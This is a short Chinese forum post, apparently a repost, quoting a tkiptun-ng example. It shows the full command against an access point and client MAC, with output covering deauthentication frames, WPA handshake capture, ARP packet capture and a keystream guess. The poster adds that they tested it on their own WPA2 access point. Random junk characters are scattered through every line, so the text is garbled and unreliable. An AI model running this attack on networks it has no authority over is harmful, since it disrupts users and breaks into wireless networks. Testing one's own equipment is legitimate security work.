新兵上阵
- 注册时间
- 2008-9-14
- 金币
- 39 个
- 威望
- 0 个
- 荣誉
- 0 个
尚未签到
|
轉貼$ \. C; I9 w" u d- B
The example below is incomplete but it gives some idea of how it looks.
a. Z- n) n8 i' |' \+ y) G* p0 _4 x) h% T2 F: f( t+ \
3 ?: n! U# l: ~( T2 {, l
# B& ?9 o# M: u& \! W9 ? 來源mac ap mac; F( C5 U. I7 c' w% y$ T) d6 @
Input: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 ath0
% ^+ W2 V% l, b/ [3 ^
( ?& e; n X" R! YOutput:+ i! \0 j1 m2 d5 T8 X i
: I7 S. P! J4 v# R* {1 J; zBlub 2:38 E6 38 1C 24 15 1C CF
* s1 B$ j& q1 R" aBlub 1:17 DD 0D 69 1D C3 1F EE- C% o0 m* d- q( B
Blub 3:29 31 79 E7 E6 CF 8D 5E
& G" M- ]0 d7 I* M2 x- e4 d( b. r14:48:00 Michael Test: Successful* a5 b' }% P4 T& Y
14:48:00 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
- O; g, f+ I$ E! O1 T: F; c14:48:00 Found specified AP0 h7 Y% V- w" I; D
14:48:00 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 2| 4 ACKs], k) S# b& H1 B U1 n, r' J- t
14:48:02 WPA handshake: 00:14:6C:7E:40:80 captured
2 r% f5 d& k9 a& ]14:48:02 Waiting for an ARP packet coming from the Client...1 ?+ K* C- [2 |/ u, r4 g9 \
Saving chosen packet in replay_src-1109-144822.cap3 P" R, K5 ]8 Z! l/ m2 ? m
14:48:22 Waiting for an ARP response packet coming from the AP...
7 \2 r. f2 h" s) K1 n0 @Saving chosen packet in replay_src-1109-144822.cap
, M# J7 C- q5 R7 t14:48:22 Got the answer!
$ p) Y% g% P0 [! h/ P" g* W14:48:22 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering.
/ j$ Q: i$ T; r, A. Y/ Z$ `% L) B/ v9 U" H
Sent 40 packets, current guess: 27..
5 S* \8 E1 e6 s5 y, d* r1 `; c" G. G7 Y P4 Y
6 @# L) @+ r# q6 ]: D$ p對自家的wpa2 ap測了一下只出現
7 S6 b. n1 V4 o! c: x
( I- f* f: p8 s* [; FBlub 2:38 E6 38 1C 24 15 1C CF
7 N: o( C8 y$ ?5 Z6 g3 A1 zBlub 1:17 DD 0D 69 1D C3 1F EE
; I6 S- k' Q S0 VBlub 3:29 31 79 E7 E6 CF 8D 5E5 _ W8 Q; J6 o
14:48:00 Michael Test: Successful4 [. B) Q4 w+ K
, v) o; W" ^. |& H B, r有空把密碼改改試試 |
|